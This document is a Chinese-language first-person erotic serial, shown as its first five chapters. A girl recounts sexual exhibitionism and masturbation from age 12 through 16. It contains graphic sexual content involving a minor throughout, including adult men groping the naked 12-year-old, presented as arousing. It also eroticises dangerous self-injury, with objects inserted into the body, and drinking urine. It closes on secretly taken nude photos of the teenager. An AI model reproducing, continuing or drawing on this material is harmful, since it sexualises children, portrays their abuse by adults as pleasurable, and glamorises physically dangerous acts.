图片载入中

我的疯狂露出 1-10

特大字】 【大字】 【中字】 【小字

我的疯狂露出

作者:luangel

(一)

首先自我介绍一下,起码要让大家知道我是谁吧!我叫谢沐,85年冬天出生,性格开朗、五官精致,身材属于娇小玲珑型吧,不过值得骄傲的是,我胸围接近D。如果要给大家一个影射的话,很多人都说我有点像超级女星何洁,不认识何洁的不妨去网上搜搜。

记得在我很小的时候,我是跟外婆一起住的。本来我家条件满优越,可惜爸妈因为工作关系经常出差,甚至有很多时候还要出国,几个月回不了家是经常的事,所以在我小时候他们就把我寄住在了外婆家。

在我模煳的记忆当中,应该是在我小学二年级的时候他们就把我送到外婆家了吧,毕竟外婆是亲人,爸妈也比较放心。所以我在外婆家一住就是八年多,从外婆六十多岁一直到她去世的那一天我才回到我自已的家,那年我刚初中毕业。 外婆的家地处农村,因为那时候还是90年代,相信中国内地的人都知道,90年代的农村还是很落后的,有时候因为要买一点小小的日常用品都得走很远的路。可能我爸妈想让我童年过得纯朴一些,长大了会少一些公主脾气,可没想到,就因为这样,让我走上了一条难以启齿的不归路。

外婆家是一幢二房二厅的小平房,国为就只她一个人住,房子也足够用了。 我妈经常唠叨着要接外婆去城里住,可外婆就是受不了城里的喧嚣,非得住在乡下,我妈拗不过,也只好随外婆了。乡下人身体也硬朗,已经六十多岁的外婆完完全全能自已照顾好自已。

记得我刚来的那一天,外婆别提那个高兴啊,用双手居然把我举过了头顶,乐呵得嘴唇都分离了好几天。我对外婆也有一种额外的亲切感,所以虽然我年纪很小就要离开爸妈,但也没有过多的哭哭闹闹。

外婆的家三面环山,甚至可以说周周围围全是山。前面是一个小小的屋坪,房子后面是一块菜地,菜地的后面就是一座小小的山头了。在菜地的右边,也就是厨房的后下角位置(外婆家是坐西向东,厨房在最南端)还有一个小池塘,池塘靠外的岸上有一些树木,树木的后面有一条经常有人路过的小路,从小路外面透过树木向里看,完全可以看到池塘和菜地里面的景色。

然后在厨房的右侧,也就是池塘前面还有一块小菜地(国为在乡下,离闹市远,不可能天天去买菜吃,只能靠自已种,所以一般在乡下菜地都是满大的),在菜地的周围就是用那种简陋的竹枝一根一根很密的插在土里做围墙,竹枝的高度也就在大人的脖子那里吧!

在这里啰嗦了半天,也拐了七弯八弯的,我只想先让大家简略地了解一下我小时候生活的环境和习性。

现在进入主题。我初次因为暴露而感到兴奋是在12岁那年,那时我已在外婆家住了有四年多了,记得那次是小学已毕业,正是放暑假的时候。天气很热,所以我为了方便和凉快,就直接提着水到厨房后面,也就是池塘的岸边上去洗澡了。

12岁的我乳房已经微微隆起,下面也有短短的满明显的阴毛了,就这样坐在盆子里面旁若无人的洗了起来,有时候手不经意地经过下面阴蒂时还会感觉到兴奋感。就在这时候,我外婆的几个邻居,也就是三个老头子和一个中年人吧,从地里回家,要经过池塘外面的那条小路上。也就是说,他们等会一定会看到我现在在洗澡,因为那几棵树实在是遮掩不了什么。

我突然感觉到有一种非常荒唐的想法,我很想让他们看到我现在光熘熘的样子。就在这时,他们四个不知什么时候停在了那里直勾勾的看着我,我也假装没看到他们,居然直挺挺的面对着他们站了起来,装着看到有人很惊讶的表情,接着就对着他们微笑。

可能他们觉得我还小不懂事,也不知道叫流氓什么的,他们的胆子也大了起来,倒还跟我聊起天来了。他说他们干活累了,要我端碗水给他们解解渴,我没回避,也没说话,也没穿衣服,光着身子,挺着有点硬硬的乳房给他们每人倒了一碗水。当我从竹枝围墙给他们递水过去的时候,他们每人还伸手在我身上胡乱地摸了几把,然后说了几句“小姑娘好漂亮”之类的话就回去了。

我当时脑子一片空白,我还清楚地记得我当时很害羞,但我控制不住自已,我心里想的就是要在他们四人面前全裸,就是要让他们看,看我那没发育完全的乳房,和才几根阴毛的小穴。

那种害羞的兴奋让我得到了人生的第一次高潮,我只感觉我全身一阵很舒服的痉挛,然后用手摸了摸我的小穴,我——泄身了。12岁的我,居然因为暴露而泄身了。

那次让我内心的暴露欲望第一次得到完美的体现。自从那次之后,我内心的变态欲望才刚刚开始,只要是热天,我就很少回浴室去洗澡了,每次都是自已提水到池塘岸边上洗,总想等着有人来看到我光熘熘的样子,我就会很兴奋,我的手就会情不自禁地摸向我的小穴,在那时候我就清楚地知道和体验了女人的高潮了。

到后来我更疯狂到无法控制的时候,直接就躺在脏兮兮的土面上自慰起来,当然,这样我还是会很小心的,外婆我倒是不担心,因为这时候她百分百还在地里没回来。我倒是担心那些路人会看到,毕竟十三、四岁了,基本的伦理道德还是懂的。况且现在我的乳房也长得满大满挺,下面的阴毛也有黑黑的一团了,要是真的被路人看到我现在这样躺在土面上自慰,那真的无法见人了。以前毛没长齐的时候还可以拿不懂事来敷衍一下。

我爱暴露,但才十四岁的我还做不出很疯狂的事,只能小打小闹一下罢了。 还记得有一次,应是初中三年级的时候(国内的教学体制可能跟台湾的有一点差别吧,国内是小学六年,然后初中高中各三年,最后就是高考考大学了),到了秋天但还是很炎热。

记得那天外婆去亲戚家,晚上不回来,只留了我一个人在家。我已经15岁了,乡下的生活也没城区那样复杂,经过我再三的保证能照顾好自已,她最终还是有点担心的去了亲戚家,并叮嘱我别跑远,我一一全答应并保证。

(二)

外婆走了之后,一个人在家的我当然可以尽情放纵了,已经品尝了N次高潮的我别提有多高兴。

现在已是傍晚5点多了,可这该死的鬼天气还是热得让人想自杀。我想反正我一个人在家,附近的邻居也隔了一个山头,不可能看到我外婆家的情景,于是便索性脱去了全身的衣服,光熘熘的自已做饭、吃饭、跑里跑外的,这样的感觉真的太美妙了!

可是这样的兴奋维持不了多久就渐渐冷却了,因为没有被人发现的激刺感,往往兴奋就会去得很快。没了兴趣的我才发现自已全身上下都是汗水,有时候下巴的汗水太多,刚好掉了几点落在乳尖上,真的好奇怪的感觉,下面的阴毛也湿成一撮一撮的,好不性感。其实我也分不清是汗水还是自已流的淫水,哎,管它呢!既然没兴趣了,还是乖乖洗澡躺在床上吹空调吧!

我提了一桶水打算去老地方,也就是池塘岸边洗澡去(第一章我已提过,在12岁那年第一次在池塘边洗澡得到高潮后,只要家里没人,就从没去家里的浴室洗澡了)。可水还没提出门,我便打消了这个念头,仔细想想反正没人,邻居也不会跑到我家来,干脆就在房子前面的屋檐下洗吧!还可以看看美丽的夕阳余辉,而且可恶的蚊子也少很多,何乐而不为呢!

决定之后,我便光熘熘的(注意,自从我外婆去亲戚家后,我一个人在家一直都是光着身子的)一步一滑地提着水在空阔的屋前去洗了。而且在屋前一百米左右吧,还能看到偶尔路过的几辆汽车(外婆家前面还有一条小路,通过有点弯弯的小路向前走一百米左右吧!是一条能通汽车的马路),我也管不了那么多,也不用太担心,因为在马路上他们不仔仔细细地看,是绝对看不到就在离他们一百米左右的地方有个裸女正在洗澡,并且还不时地抚慰着小穴的淫荡女生。 我一边意淫,一边擦拭着身体,冷却的状态慢慢地又有点浑身发热了。我这淫荡的本性让我使劲地抠抓着自已的骚穴,我好像已经迷迷煳煳地离开了我的洗澡盆,真接躺在满是灰尘的地上翻滚,手不停地揉搓着自已的骚穴。在我的脑海里,我已忘却了周围的山头,忘却了外婆的家,忘却了前面马路上过往的车辆,忘却了周围所有的一切。

我感觉我回到了自已的家,华灯初上,急着下班的人群匆匆的在霓虹闪烁的街道上来来回回,而我正躺在车水马龙的街道中央,赤裸着全身,高潮连连。这时候我才发现,原来我有极度的暴露倾向,我要让所有人都看光我淫荡的身体,让他们脏乱的鞋底狠狠地踩在我那因高潮而尖挺的乳房上,还有我那正流着淫水的骚穴……

“姐姐,姐姐∼∼”

这时候,隐隐约约感觉到有人在拍我,可我还在沉浸于淫荡的幻想中没有完全醒来。

“姐姐,姐姐∼∼”

这时候我感觉到了,是真的有人拍我,还有人在叫我。我的理智也在慢慢地恢复了,可淫荡的身体还在让我跟幻想和现实之间挣扎。

我缓缓地睁开眼睛,突然看到有双脚在我眼前,我突然感觉心一惊,然后一凉,第一感觉是眼前这个人刚刚肯定清清楚楚地看到我发骚的淫态了!我豁地从地上跳起来,所有的高潮在一瞬间消失怠尽。

我无法接受在我眼前的事实,我很淫荡,我爱暴露,可我还不想身败名裂,我睁大了我那惊恐的双眼,茫然地看着刚刚叫我姐姐的人。

“哈哈∼∼哈哈∼∼”我失笑了,原来是一个才五、六岁的小男孩。接着我又为自己那淫荡的本性失声痛哭,这种从天堂到地狱,又从地狱一下到天堂的感觉,我一时间还承受不了。我哭得很大声,我狠狠地捏着满是灰尘的发黑乳房,然后使劲地拉扯着满是淫水加上灰尖污垢不堪的阴毛。

“姐姐,别哭了。”这时候小男孩走过来帮我擦眼泪,还要我别哭了。他小小年纪倒还会心疼人,真是感谢上天的眷顾,谢谢让我眼前出现的是位还不懂事的小男孩。

“小弟弟,有什么事吗?”

“我家酱油用完了,我妈妈要我到谢姥姥(就是我外婆,小辈一般都叫我外婆做谢姥姥)家借点。”

“哦,等等,我帮你拿。”我从厨房里面拿了酱油倒了一小杯给他,只见他蹦蹦跳跳的,好像很开心的样子:“姐姐不穿衣服,羞不羞……”

看着小男孩离去的背影,这时候我才发现自己一直裸着身体,身子上全是乌黑不堪的灰尘,可怜了我那刚刚被我捏得红肿不堪的乳房,还有地上到处都是我刚拔掉的阴毛。

我重新走到洗澡盆里面清洗着身上乌七八糟的灰尘,想着刚才发生的惊心动魂的一幕,想着刚才如果不是小男孩,而是大人,他会对我怎么样?会不会强奸我?还是……

想着想着,我竟然渴望刚刚看到我的那个是大人,而且发现我之后会狠狠地折磨我,把我赤裸的拖到人民广场上,凹凸不平的泥沙路面把我的两个乳房磨出了血,然后再用细细的绳子紧紧地把我绑在广场的演讲台上,所有人都向我吐着唾沫,乳房上、骚穴里、脸上、屁股上,还有嘴里,全是他们吐的唾沫,甚至还有变态的向我尿尿,然后又有很多人跟着在我身上撒尿……

我双手抱着头,使劲地摇晃着自已的脑袋,我要让自已清醒,我不能这么变态,我到底在想些什么?

慢慢地我才恢复了神智,我知道,我淫荡的本性已经无法改变了,高潮、露出,甚至SM,才是我真正追求的,只有这样,我才能领略到我活在这个世上的真正意义。

在我还处在兴奋的状态之下,我收拾好外面的洗澡盆什么什么的,然后走进厨房在冰箱里面想找点冰水,好让亢奋的身体冷却一下上床睡觉。我太累了,我要休息,我不能无限度地摧残自已的身体。

可我想错了,当我正在厨房徘徊的时候,我看到刚刚给小男孩倒酱油的瓶子还没盖上,当我盖好酱油瓶的时候,我却没把酱油瓶放在它应有的地方,我居然用酱油瓶在自慰。

相信大家都知道,一般的瓶子表面虽然是光光滑滑的,可是瓶盖那里却有很多螺纹,因为要方便扭开,所以一般都搞得满粗糙,我也刚好利用这个盖子使劲地摩擦着自已早已肿得像颗小黄豆的阴蒂。可这样还是不能解决我现在疯狂的状态,我居然使劲地直接用酱油瓶的瓶底狠命地插进自已早已满是淫水的骚穴。 相信大家应知道90年代末的酱油瓶是什么样子,如果单说大小,就跟现在普通的啤酒瓶差不多吧!在这以前,我虽然淫荡,可我还从没让这么大的东西进入过我的骚穴,就是在高潮不能自制的时候,最多也不过用三个指头塞进去过,而我的处女膜也是被我的手指无情地捅没了。

(三)

这时候,我拿着酱油瓶口朝上的放在地上,为了给自已省些力气,我想这样直接坐下去自慰会来得更轻松些,经过证实,我的想法是对的。

我慢慢地向着瓶口坐下去,当那粗糙的瓶盖刚摩擦到我那小豆豆的时候,我就知道,这一定是美妙时刻的开始。而且我还有一个大胆的想法,假如我不这样慢慢地坐下去,而是两脚一抬,一下子把酱油瓶沉没到底,不知道是什么样的感觉?既然想了就要行动,而且我相信,以我当时那种兴奋的状态,也一定会做。 我做了几个深唿吸,然后用两手抓紧脚踝,狠命地向上一拉,脚离地了,当然,整个瓶子一下子全部塞入了我的小穴。我只感觉到下身一股剧痛冲向我的脑门,可我两手还是紧紧地抓举着我的双脚,跟本就没有放下来的意思,依然保持着只有瓶底和屁股着地的姿势。幸好我选择的地方是墙的一侧,刚好可以靠在墙面上才不至于倒下去。

过了一会儿,疼痛慢慢地消失了,淫水从瓶子和阴道的夹缝间汩汩向外流。 我没想到我的阴道能承受得下这么大的东西,于是缓缓地把脚放下来,也没有选择继续做塞进去的动作,而是直接站了起来。

酱油瓶还是插在骚穴里面,我试着夹着酱油瓶走了几步,一种怪怪的感觉很刺激,况且阴道是第一次承受这么大的东西,也不用担心它会掉出来。

但我想错了,因为酱油瓶里面还有大半瓶酱油,多少还是有一些重量,哪怕夹得再紧,它还是慢慢地在往下掉,而且汩汩的淫水直往外冒,早将瓶身冲刷得滑润无比了,哪有不掉的道理?

为了保险起见,我还是把酱油瓶拿了出来,我可不想明天外婆做饭的时候问我酱油怎么回事。我缓缓地把瓶子拉出来,毕竟酱油瓶太长,我想当时瓶口肯定已经进入了我的子宫,抽的时候我还感觉到些许的疼痛,可能是那瓶盖擦到了子宫壁传来的疼痛吧?

我当时也没想那么多,高潮传来的快感早就淹没了痛感。我使劲地往外拽,瓶子是拔出来了,可是我看到阴道里面有大量的酱油往外冒。怎么回事?

现在我才发现事情的严重性,我当时只管高潮,跟本就没顾忌到盖子是否有盖紧,经过用酱油瓶长时间的拿来自慰,盖子已经掉在了阴道的深处。我倒是不担心盖子,要是明天外婆问酱油怎么没了,我还真不知道怎么回答。

我叹了口气。不管了,我把酱油瓶直接打碎了丢进了垃圾篓,明天也只好对我外婆说失手打碎了,现在首先是把瓶盖取出来再说。阴道经过刚才酱油瓶给撑得松弛,现在我就是整个手伸进去也不是什么难事,所以我以为会很轻松的取出来。

可事与愿违,原来瓶盖已经很深的陷入了子宫里,手能插进阴道,但也不能插到子宫里面去啊!就是能插进去,以手掌的大小,不痛死我才怪呢!

“怎么办?怎么办……”我默默地念叨着自已,可还是想不出什么办法。总不能就过样让瓶盖留在自已的体内吧?要是到时候坏了事,得了什么炎症,后果就不堪设想了。

既然想不出办法,也只能用手了,要是用什么钳子、镊子之类什么的,我可不敢。我可不想让我最宝贵的地方受到什么致命摧残,于是也只好忍一忍直接用手去抠了。

我把手指甲全都剪得光滑无比才将手慢慢地伸进去,幸好阴道里面还残存有很多淫水,进去的时候没感觉得什么疼痛。而且我另一只手也没闲着,一直抚摸着我那性感的小豆豆,至少这样痛苦会减少些。当我整只手进去到只能看到手臂的时候,那可恶的瓶盖却丝毫不见踪影。

难道瓶盖真的掉进了子宫里面?难道我的手真的要伸到子宫里面去?难道我真的能忍受这样的痛楚?我已经无暇思考了,从我的手伸进去的时候,加上阴蒂带来的刺激,早就已经高潮不断了,哪还管它是子宫还是什么,就是伸到胃里面我也会在所不惜。

趁我还有点理智(我只要达到连续高潮的时候,就很容易进入忘我的状态。 这点我非常恼火,就是因为这样,在我往后的露出当中常常惊险百出),我继续慢慢地往里伸。这时我摸到一个暖暖的半球状的物体,非常滑手。我轻轻的捏了捏,一阵剧痛传来,难道这就是传说中的自已的子宫?我想可能是吧! 为了避免剧痛再次发生,这次我非常轻力的向这滑滑的物体探索,找找有什么进去的洞口没有。工夫不负苦心人,终于被我找到了,原来子宫口的位置不是正对着阴道出口的,而是还要向下很多,害我忍着痛找了这么久。

既然找到入口就好办了,我先将一个手指探进去看能不能摸到瓶盖,不出我所料,这瓶盖就在子宫里面,而且好像还漂浮在中间,可能是当瓶盖脱落时,那可恶的酱油瓶还在我子宫里面注入了大量的酱油。想想这可恶的黑黑的液体竟然敢流在本小姐的子宫里面,气就不打一处来。

这时候我再伸进去一个手指,慢慢地夹住瓶盖,好让瓶盖不再滑走。我微微地向前伸了伸身子,好让子宫口正好朝下,这样就能刚好让现在撑开的子宫口把里面的酱油全倒出来。

果然,一汩汩紫黑色的水从我的手臂和阴道的夹缝中缓缓流出,还有一股难闻的气味。我呆呆的看着手里的瓶盖。还有满是黏液的手,心里好像打翻了五味瓶,很不是滋味。

高潮早就退却了,我不知道现在已经是几点,漆黑的夜色连农家的灯光也已消失。我一丝不挂的走到外面,凝望着清泠的夜空,看到了今天的每一颗星星都来得特别明亮。我知道,星星虽多,却没有属于我的那一颗,才15岁就如此淫荡的我怎么配玷污那些高贵而又神圣的星星?

现在我只想好好睡一觉,做个纯洁的梦,把淫荡的心灵清洗一下。

(四)

之后的几个月里,我也没做出什么出格的事。直到高中快要开学的时候,可怜我的外婆却撒手人间,至于死因,我不想多说。我记得一连哭了好几天,毕竟陪伴了我八年的亲人,突然一下永远离开了我,一时间还无法承受。

乡下没有了外婆的照顾,我只能回到自已的家去,可爸妈还是因为工作的关系,常常无暇顾及到我。好在我已16岁了,基本能照顾好自已,况且一个人的天地反倒来得更自由些。

我站在自家的阳台上,看着不远处一些高耸入云的建筑,浮华的背后找已不到乡下的纯朴气息,再也看不到外婆佝偻的背影,还有那个我最爱的洗澡盆。外婆的死对我打击很大,让我原本开朗的性格变得沉默寡言,经常一个人呆在阳台上不知所措。

爸妈早在一星期前就因公出差了,可能要一个多月才能回来,一个人在家的我当然是一丝不挂啦!再过几天就要开学了,而且面对的是一所新学校,想着马上就要进入高中,面对一批新的同学,不免有些向往,他们会不会发觉我淫荡的本质?

我摸了摸早已发育成行的乳房,发现自已真的长大了,玲珑有致的身材连我自已都想咬一口。但在自已家可不比在外婆家,能做最多的也就是打开窗帘让别人去偷窥一下,可我住的地方是一幢有28层的大楼,我家则刚好处在中间——14层。可这也满高的了,外面别楼的住户想要偷窥,还非得拿望远镜才能看清楚,我总不能走出房间去敲隔壁邻居的门吧?

不过我马上就想到了一个好办法:既然身处高处,相信一般人都会坐电梯上上下下。至于楼梯,我想还没有傻到电梯不坐却走楼梯爬个一、二十层的人吧? 除非像我一样有这种特殊嗜好的人。反正等开学之后没什么时间露出(其实我想错了,高中三年,那才是我最疯狂的),趁现在有时间先体验一下。

说做就做。本来我打算就这样全裸出门的,可为了保险起见,我还是带了一件可以很方便就能穿上的连衣裙。毕竟还没在自家露出过,要是因为太大意被邻居发现,那我还不如直接从窗户跳下去,来个粉身碎骨。

我整理妥当,感觉还是少了点什么东西,对了,就是阴道还空空的。现在我那骚穴经过在外婆家的经常开发,不放点什么东西在里面出门露出,就好像吃饭没盐一样,再好的菜也没什么味道了。可家里又没有自慰棒,玻璃瓶又太重,怕夹不住发生意外。

想了想,便从冰箱里面拿了瓶罐装的可乐,我本想先倒掉里面的可乐再放进阴道,可我想试试这冰冰的感觉放进去会有什么样的效果,要是把里面的可乐倒掉,那种很冰的感觉就会马上消失掉。

于是我决定先放进去试一试,当可乐瓶底部刚碰到我那骚豆豆的时候,只觉一股透心凉直蹿脑门,本来肿得像颗小黄豆的阴蒂猛地往里缩。可能是可乐太冰了,加上阴道刚刚正处于骚热的状态,不感到异常冰凉才怪呢!

可是我没退缩,可乐罐底还是紧紧地贴着小穴,两片阴唇都冰得有点微微发紫。可这样不但没让我放弃,反而更进一步地慢慢把可乐罐往里塞,因为越是折磨我就越兴奋、越容易进入状态。

可是这样慢慢进去不断地增加了我的痛楚,我都快受不了那种太冰所带来的感觉了。我索性心一狠、牙一咬,直接把可乐放在地上,干脆一屁股坐了下去。 顿时,我全身一痉挛,当时剧烈的冰痛很难用言语来表达,只觉得我眼泪都流出来了。

我现在感觉就好像身处在北极,看到了白白的冰山,还看到了冰河世纪里面的,好让自已先缓和一下。客厅的窗帘现在正处于打开的状态,而我下面插着可乐罐的阴部刚好对着客厅的门外,对面的十几幢楼要是有人正拿着望远镜的话,相信看到我现在极度淫荡的形态,估计唾液都掉下一米长了吧?

我顾不得拉上窗帘了,也根本就没想过要将窗帘拉上,要看就让他们看吧! 来看我完全淹没了可乐罐的骚穴吧!这时我下体一阵收缩,高潮冲刺着热热的淫水,阴道一阵热一阵冰的,让我达到了前所未有的兴奋感,淫水就如泄了堤的洪水,一发不可收拾。

可我现在还不能高潮,我要去楼梯间高潮,在外面才是我真正高潮的地方。 我强忍着兴奋感,使劲把可乐罐往里推了推,直到看不到罐口了我才放心,这样就不用担心可乐罐会随时掉下来。

我提着一个装着连衣裙的袋子,顺便还在柜台上面拿了五把牙刷塞进了肛门里,只留了有刷毛的那一点点在外面。就这样,打开门直奔楼梯间了,我连门口会不会有人都没留意。不过还好,现在正是下午3点多钟,进出的人相对较少,我也没看到有什么人,要是我刚开门出来的那一刹那电梯里刚好有人要出来,那后果就会真的很严重了,因为我家门口正对着电梯门口。

想想刚才的大意举动,真的是太冒险了,我拍了拍自已的胸部,好让自已冷静一下,然后再慢慢地前走。这回我小心多了,首先确认所有电梯的楼层暂时是不会来14楼,我才敢慢慢地蹲下身子,我决定要用狗爬的姿势经过电梯然后到达后侧的楼梯间,我把屁股撅得高高的,这样好让牙刷和可乐瓶更显眼些。 我一边幻想着有很多人正在看我,一边慢慢地向后侧的楼梯间爬去,当我一摇一摆地经过最后一个电梯门口时,我没有马上爬去搂梯间,而是先把装着连衣裙的袋子放进旁边的一个垃圾桶,然后按了一下这个电梯的按钮。我知道这个电梯现在没有人在用,而且还停在一楼,可能是刚刚有人下去,还没有人上来吧! 这时电梯缓缓地向上上升,我连忙把插着五把牙刷的屁股翘到不可思议的高度,朝着正在向上的电梯门口。我幻想着等会电梯里会有很多人在开门的那一刹看到我那淫荡的屁股,阴道里的淫水就像关不紧的水龙头,大腿上布满了淫水, 可乐罐还是处于有点冰冰的状态,这样冰火两重天的感觉更加刺激着我的敏感神经,我把双手趴在地上,伸出舌头很认真的舔着地板上的淫水,一股窒息的骚味让我有点反胃,可我还是没有停下。

这时我隐隐听到电梯开门的声音,于是赶紧把屁股翘得老高,把脸贴在满是淫水的地板上,手还不停地在阴道里面挪动着早已快夹不主的可乐罐。就在门要完全打开的那一瞬间,我失禁了,大把大把的尿液如火山岩浆般喷射而出,由于阴道里有可乐罐阻挡的作用,山洪般的尿液咂在可乐罐上,很不规则的尿得我满身都是。

这时,让我意想不到的意外发生了。只听到一声尖叫,我看到一个有点胖胖的中年妇女“咚咚咚”的跑开了。怎么回事?怎么会有人出来?电梯里刚刚不是没有人吗?难道中途有人进来我没发觉?

我抬起满是尿液的脸向电梯望去,才发现一个惊人的秘密——原来我刚按的最后那个电梯到13楼时就有人乘坐下去了,门根本就没开过,刚刚开的电梯门而是旁边的那个。天啊!怎么会发生这样的事情?完了!我被同一楼层的人看光光了,明天我将被整个楼层的邻居鄙视。

不过我还庆幸着,也许刚刚那位胖妇女根本就没看清,当时我披头散发,而且头发上有很多黏唿唿的淫液,早就黏得我满脸都是,她怎么会看清我?况且我刚从外婆家住进来,彼此很可能都还没见过面。

我一边安慰着自已,发现阴户还有尿液不间断地向外喷射,一股股热流从阴道深处如洪水般向外涌射,冰冰的可乐罐早已丝毫感觉不到冰凉了。经过刚才那胖妇女的刺激,我的高潮马上又要来了,我疯狂地吸食着刚刚我喷射在地板上的尿液和淫水,腥臭的气味让我差点窒息,但我还是尽情地喝着,当无法喝时我便用舔,直到地板上没有残存的液体。

我现在混身无力,我知道现在这里是非常危险的地方,随时都会有人从电梯里面出来看到我现在淫靡的样子。我不能呆在这里,我想回家,但我根本就无法站直身子,更别提拿钥匙开门了。我只好慢慢地向楼梯间爬去,每爬一步我都要使出全身的力气,刚才不停地高潮差点让我虚脱,现在能慢慢爬动已经是很不错了。

真是福无双至,祸不单行。正当我努力地向楼梯间爬动的时候,这时第三个电梯门缓缓地好像又传来开门的声音,我转过头看了一下第三个电梯门口,原来是真的有人上来。

完了!我现在根本不可能一下爬到楼梯间去,然而等电梯里面的人出来时,肯定会看到我现在这个样子:屁眼插着五把牙刷、阴道里一个可乐瓶。要是是几个大男人直接把我强奸了,然后再把我送到警察局,我该怎么办?就是在警察局我解释他们强奸了我,员警也不会相信,就我现在这个样子,谁会相信我还用得着强奸啊?是直接找上门吧?

我不管了,来吧,让我下地狱去吧!我索性趴在地上不动了,等待着命运的裁决。可我等了很久也没见发生什么事,也没见到电梯有人出来,原来上帝眷顾我,刚刚是乘电梯的人按错了楼层,他本来要去15楼的。

我如释重负,不由失声痛哭了出来,可现在我还是没有什么力气。我缓缓地爬向楼梯间,也不知过了多久,终于到达了目的地,这里虽然也不是绝对安全,但至少很少会有人来走楼梯吧?

我仰躺在楼梯间一动不动,想休息一会儿,可我两条腿还是分得开开的。我太累了,也渐渐忘却了那些淫荡的想法,我全身赤裸的在楼梯间慢慢地睡着了,而屁股里面还插着五把牙刷,阴道里还有个滑出了三分之一的可乐瓶!

(五)

我不知道我在楼梯间裸睡了多久,只知道我醒来的时候外面的天色都暗淡了很多。我试着想爬起来先回到家里去,因为我现在身上全是已经风干了的尿水加淫水。恶息无比。就连我自已都无法忍受得想吐。我站起极度疲软的身子。想先回家洗去身上这身令人难受的污垢。可我才走几步刚到门口时,脚下一抽筋。一个站不稳,直接一屁股又倒在了地上。也许是睡在硬硬的地板上太久的原故吧。僵硬的身子是很容易抽筋的。

其实摔到下去没什么。可我万万没想到的是我现在屁眼里面还插着五把牙刷。这样一屁股倒在地上,导致五把牙刷一下连头带毛全插进了我的肛门。当时我痛得直翻白眼。眼泪哗哗直往外冒。令我难以置信的是,我一直还忍着巨痛跟本就没移动身子,继续保持着坐在地板上的姿势。我没想到我内心的SM倾向如此严重。越是突如其来的折磨我越是享受。我都感觉到我现在阴道又开始慢慢湿了。 我忍着痛把身子又向前微微伸了伸。这样子可以刚好让粘满淫液的可乐罐也一下子淹没在我那如山洞的阴道,阴道的插入就比屁眼好受多了。不像屁股那般令人想死的巨痛。屁股毕竟很少用来自慰。远远也比不过阴道所带来的刺激度。而且我一向很讨厌用那些自慰棒或者跳蛋什么拿来自慰。也不是找不到哪买的原故。而是一般这些东西都太细,哪怕就是特大号的,给带给不了我更多的享受。就好比我还在外婆家的时候。就经常拿那些乱七八糟的瓶子来解决。像以前害得我够惨的酱油瓶我是最爱了。很多次外婆做饭时都问过我酱油瓶怎么有点粘惚惚的。害得我连忙找个借口把当时因为高潮忘记清洗的酱油瓶拿去偷偷清理干净。也就是因为这样。搞得我现在还未经人事的小穴如无底洞般大。不过还好我阴道的收缩性非常强。过一些时间就很容易回到紧紧的状态了。只不过巨物插多了的原故。也很容易变得现在这般大小。

我用手扶着门口的门檐。另一只手却快速的揉搓着肿得发紫的小豆豆。很快我的第一次高潮就来临了。热热的淫水参杂着尿液如山洪般向外喷射。因为尿道口被可乐瓶阻挡的原故。使得那些尿液就如捏扁的软水管般。像喷泉一样四周散去。我还故意用手挡着急速如潮的尿液。尽量的向我全身,脸上,甚至嘴里喷去。正口渴难忍的我,感觉自已的尿好像泉水般甘甜。我什至还用两只手做个合起来的形状。把尿液储存在手里,然后放到嘴边一大口的喝掉。一直到没有尿尿在流。还用舌头认真的舔干净手上余存的尿水。

这时我才发现我真的是太渴了,从下午三点出来到现在还一直没喝过水。频繁的高潮又让我的身体严重脱水,不口干舌燥干怪呢。还好我想到了现在我阴道里面还有罐可乐。没想到让我爽了一整天,最后关键时刻还能起到这么大的作用。我从阴道里面慢慢拔出刚刚被淫水加尿水冲洗过的可乐。一股刺鼻的骚味很难闻。本来冰冻的可乐现在都变得有点暖暖的。

喝完可乐我站起身打算回屋子里去,这回我小心多了,起来时先活动了一下四枝,让麻麻的身子感到轻松了我才离开这里。屁眼里的五把牙刷现在完全的淹没在我的体内。好像要把我的身子撑起来似的。有点难受,担又觉得怪怪的。先别管它了,还是先回家洗个澡吧。这一身实在是太臭了。因为身体现在也基本冷却。睡了一觉的我理智也满清醒。为了安全还是先在过道里了解了一下情况。拿着我丢在垃圾篓的装着连衣裙的袋子。小心翼翼的安全的回到了房子里面。本来我还打算就这样赤裸裸的去过道走廊的窗台上看看夜色。但这一身臭真的让人太难受。还是回家先洗洗在说。

打开房子我直接奔向浴室,差不多洗了一个多小时,才把我身上。脸上。还有头发上的尿液彻底洗干净。可恨的是藏在我体内的那五把牙刷害我弄了很久才拿出来。要知道刷毛卡在肛门壁上。真的很难拔。太用力了又很痛。太温柔它根本不理你。最后我只得在屁眼有限的缝隙里面灌了大量的洗洁精。让屁眼有充分的润滑后才一跟一跟的,在痛得我死去活来的情况下终于取出来了。看着那五把把我整得可怜兮兮的牙刷,还用舌头逐个逐个轻轻舔了一下才扔掉。

洗完澡后的我全身都散发着沫浴露的香味。终于没一点臭味了。全身清净的我还是打算穿件衣服。没有了性质这样裸着也没什么意思。

为了方便。我打开了那件开始用来防意外一直没穿的连衣裙。因为这样不用穿内衣也不至于很容易走光。要是出去一下也方便用不着换衣服。

可是当我打开袋子的时候。让我惊讶的一幕发生了,我看到了一张张极其夸张的裸照。屁眼里面有牙刷。还有阴道里面清晰的能看到插着一个可乐罐的淫荡的女生。

“啊啊∼∼∼∼∼∼怎么回事∼∼∼”

我失声的尖叫了一声。那照片里面的人不就是我吗。原来我刚刚在楼梯间裸睡的时候,就已经被人发现了,只是我太累睡得太死没感觉到。

“怎么办,怎么办∼∼∼∼∼∼”

我惊惶失措的无助的一屁股的坐在地上。绝望的表情让我惊恐万分。我不敢相信到底刚刚在楼梯间发生了什么事情。我喜欢疯狂的暴露,哪怕是疯狂的SM。可这毕竟是我的家,我想都不敢想这些照片要是爆光之后会给我带来什么样的后果。要是我爸妈知道了他们有这样一个变态的女儿,会不会抛弃我不认我做女儿。还有附近的邻居知道后会用什么样的眼光看我。他们会不会说我爸妈生了个这么淫荡变态的女儿真可耻。

我不敢再想下去了,我知道事情已经彻彻底底的发生了。我反复的翻看着这些照得很清楚的十几张裸照。看着那么大的可乐罐深深的插入了我的阴道里面,还有那恐怖的五把牙刷。足足有十五公分还长的五把牙刷,全部插进了屁眼里,只留了一点点刷头在外面。我仔细的看着这些让人混身发热的照片,你们别以为我又发情了,我只是想找找看照片里面她会不会留什么联系放式。这时我情不自禁的发出了一声五味俱全的苦笑。因为我想到根本就不用担心照片会暴光。拍我裸照的人要是想公开我的话,当时她就报警了。何必还拍些照片故意放在袋子里面让我发觉呢。我心有余悸的摇了摇头,她要是只是单纯的要些钱就好了,就是几万或者要十几万也没所谓,只要事情能解决。

